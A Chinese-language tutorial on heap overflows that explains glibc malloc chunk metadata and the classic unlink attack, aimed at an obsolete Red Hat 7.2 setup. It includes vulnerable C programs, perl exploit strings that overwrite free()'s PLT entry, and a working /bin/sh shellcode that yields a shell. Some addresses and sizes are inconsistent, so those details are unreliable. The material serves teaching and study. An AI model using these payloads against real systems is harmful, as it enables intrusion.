Heap Corruption 堆溢出

申明:本文并非原创,参考了许多大牛的文章,因为太乱了所以没有标明出处,如有侵犯版权问题,请第一时间联系我。

0×01 背景知识

堆是程序运行时动态分配给程序的内存空间,堆内存空间发生缓冲区溢出很常见。堆溢出需要不同的手段,不像栈溢出那么简单。分配给一个函数的内存会持续保持分配直到完全被释放为止,所以被溢出的内存使用时才会被发现。堆的结构如下图。

0×02 使用堆

堆内存一般通过malloc()分配,malloc 只管分配内存,并不能对所得的内存进行初始化,所以得到的一片新内存中,其值将是随机的。通过free()释放。

PS:在不同的系统之间,对堆管理的实现没有一个统一标准,甚至在UNIX系统中也使用了几个不同的标准。

下面的例子演示了简单的堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
int main(int argc,char* argv){
char *A= malloc(10);
char *B= malloc(8);
char *C= malloc(4);
strcpy(B,"BBBBBBBB");
strcpy(C,"CCCC");
strcpy(A,argv[1]);
printf("A(%p) is %s\n",A);
printf("B(%p) is %s\n",B);
printf("C(%p) is %s\n",C);
return 0;
}

运行结果如图。

从0×8049778开始内存的值被改写。因为要内存对齐,所以每个变量分配了16KB。

不像栈溢出,程序不会出现Segmentation fault,成功改写了其他变量的地址内容,下图是内存中的情况。

0×03 堆和数据块的结构

在malloc中,被分配给程序的内存称作数据块(chunk),一个数据块包含了元数据(metadata)和程序返回地址。数据库的定义如下:

1
2
3
4
5
6
7
8
9
10
11
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

假如我们开辟三块内存空间,malloc(256), malloc(256), and malloc(256),堆上的内存分布如下:

Meta-data of chunk created by malloc(256)
The 256 bytes of memory return by malloc
—————————————–
Meta-data of chunk created by malloc(256)
The 512 bytes of memory return by malloc
—————————————–
Meta-data of chunk created by malloc(256)
The 1024 bytes of memory return by malloc
—————————————–
Meta-data of the top chunk

“top chunk”是其他可用空间,也就是说每次申请空间时,总是从”top chunk”中分出, 一部分是申请的数据块,另一部分是新的”top chunk”。当”top chunk”不够时程序会要求操作系统去扩展它。http://man7.org/linux/man-pages/man2/brk.2.html

只有prev_size 和 size fields被已分配的数据块所使用,返回给程序的缓冲区从fd开始。也就是说一个已分配的数据块始终有8字节的元数据。一般情况下32位机器都是8位内存对齐(http://stackoverflow.com/questions/5061392/aligned-memory-management),数据块大小必须是8及其倍数,所以size的最后3位就用不到了,其中最后一位Least significant bit(https://en.wikipedia.org/wiki/Least_significant_bit)如果设为1,意味着前一个数据块(previous chunk)被使用。

如何查看一个数据块是否被使用?只需要把当前数据块的指针加上它的size,就可以到下一个数据块中,检查下一个数据块的size的最后一位即可。

一个被释放的数据块使用fd 和 bk 字段,fd指向前一个可用的数据块,bk指向后一个(所以空闲数据块被保存在一个列表中)。当程序使用malloc时,它会优先搜索和它大小一样的数据块,如果找不到再向”top chunk”申请。当调用free时,它会检查当前数据块的前一个数据块是否已被释放。在前一个数据块没有使用时,两个数据块会合并。但是,这样会增加数据块的大小,使它被放到另一个空闲数据块列表中(移出空闲数据块,再加上合并后的数据块)。代码实现如下:

1
2
3
4
5
6
7
8
/* Take a chunk off a bin list */
void unlink(malloc_chunk *P, malloc_chunk *BK, malloc_chunk *FD)
{

FD = P->fd;
BK = P->bk;
FD->bk = BK;
BK->fd = FD;
}

P代表正在被移除列表的数据块。参考:http://www.math.ucla.edu/~wittman/10a.1.10w/ccc/ch16/ch16.html 跟双向链表remove时一个思想。(或者他就是一个双向链表?)如果给定两个合法的地址A,B,那么free() 将会做 (A+12) = B 和(B+8) = A。

我们可以通过改写元数据,实现在任意位置改写任意数据。比如,我们可以改写destructor函数的指针,指向我们的代码。

0×04 溢出

请看下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>

#include <string.h>
#include <stdlib.h>

int n = 5;

int main(int argc, char **argv) {
char *p, *q;

p = malloc(1024);
q = malloc(1024);
if (argc >= 2)
strcpy(p, argv[1]);
free(q);
printf("n = 0x%08x\n", n);
free(p);
return 0;
}
1
2
3
4
5
6
7
8
9
[root@localhost shell]#nm ./bug1 | grep -w n                   //查看变量n的地址

08040505 D n

[root@localhost shell]#./heap4 `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\xf9\x04\x04\x08" . "\x88\xff\xff\xbf"'`

n = 0xbfffff88

Segmentation fault

我们成功的将n的地址改写为0xbfffff80。前1024个A填充p,后面两个0xfffffffc重写了q的pre_size和size,这样当free执行时,前一个数据块地址变成了q+4,指向自己填充的字符串,这样fwd->bk = bck; bck->fd = fwd; 变成了(A+12) = B;(B+8) = A; 其中A = 0x080404f9,B = 0xbfffff88 。

我们最终目标是执行任意代码而不是改写n的地址,通过改写free()的plt入口(http://publib.boulder.ibm.com/infocenter/cicsts/v3r1/index.jsp?topic=%2Fcom.ibm.cics.ts31.doc%2Fdfha4%2Ftopics%2Fdfha4_macro_plt_overview.htm),来避免Segmentation fault。

1
2
3
4
5
6
[root@localhost shell]#objdump -R heapbug | grep free
0804f905 R_386_JUMP_SLOT free
[root@localhost shell]#gdb ./heapbug ... gdb) run `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\x84\x96\x04\x08" . "\x70\xff\xff\xbf"'
Program received signal SIGSEGV, Segmentation fault.
0xbfffff72 in ?? ()
(gdb)

这样,当free()被调用时,调到了我们指定的地址0xbfffff72。

因为(A+12) = B;(B+8) = A; 我们选择A+12为free()的plt 入口, B为shellcode的在栈上的地址。所以需要在shellcode前填充12字节(我们填充12个nop)。

1
2
3
4
5
6
[root@localhost shell]#SHELLCODE=`perl -e 'print "\x90"x12 . "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'`
[root@localhost shell]#export SHELLCODE
[root@localhost shell]#./getenv SHELLCODE //getenv 获取环境变量地址
0xbfffef00
[root@localhost shell]#./heapbug `perl -e 'print "A"x1024 . "\xfc\xff\xff\xff"x2 . "XXXX" . "\x84\x96\x04\x08" . "\x00\xef\xff\xbf"'`
sh-2.05$

成功执行了自己的payload。

PS:测试环境为Red hat 7.2 , 需要注意的是仅支持libc低于2.3.3。